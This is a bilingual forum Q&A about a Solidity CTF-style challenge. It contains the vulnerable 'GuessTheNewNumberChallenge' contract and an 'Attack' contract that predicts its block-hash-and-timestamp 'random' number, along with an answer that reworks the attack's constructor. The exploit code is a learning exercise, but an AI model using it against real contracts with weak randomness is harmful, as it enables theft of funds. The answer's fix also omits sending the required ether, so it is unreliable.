为什么我会收到此错误“气体估算错误并显示以下消息(见下文)”?

发布于 2025-01-20 03:39:04 字数 923 浏览 0 评论 0原文

我的混音不断提醒“气体估计错误,并显示以下消息(见下文)。交易执行可能会失败。您想强制发送吗?执行已恢复”。你们能帮我找到我缺少的部分吗?

 pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    address vt = 0x2417929C9AE5884a754Cf1f77FA5FaBDDC9ce92A;
    GuessTheNewNumberChallenge gn = GuessTheNewNumberChallenge(vt);
    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

My remix keep alerting "Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending? execution reverted". Can you guys help me find which part that im missing.

 pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    address vt = 0x2417929C9AE5884a754Cf1f77FA5FaBDDC9ce92A;
    GuessTheNewNumberChallenge gn = GuessTheNewNumberChallenge(vt);
    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

静若繁花 2025-01-27 03:39:04

您必须在攻击智能合约中指定 GuessTheNewNumberChallenge
使用其功能的智能合约地址。要解决这个问题,请尝试以下操作:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {

    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    // I declare variable refers to GuessTheNewNumberChallenge
    GuessTheNewNumberChallenge private gn;

    // I set into constructor about this smart contract the address where GuessTheNewNumberChallenge deployed.
    // And when the instance is complete, you can use the GuessTheNewNumberChallenge functions. 
    constructor(address gtncAddress) public {
        gn = GuessTheNewNumberChallenge(gtncAddress);
    } 

    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

我在智能合约中添加了一些注释。

You must to specificy in Attack smart contract the GuessTheNewNumberChallenge
smart contract address for use its functions. To resolve this problem try this:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {

    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    // I declare variable refers to GuessTheNewNumberChallenge
    GuessTheNewNumberChallenge private gn;

    // I set into constructor about this smart contract the address where GuessTheNewNumberChallenge deployed.
    // And when the instance is complete, you can use the GuessTheNewNumberChallenge functions. 
    constructor(address gtncAddress) public {
        gn = GuessTheNewNumberChallenge(gtncAddress);
    } 

    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

I put some comments into smart contracts.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文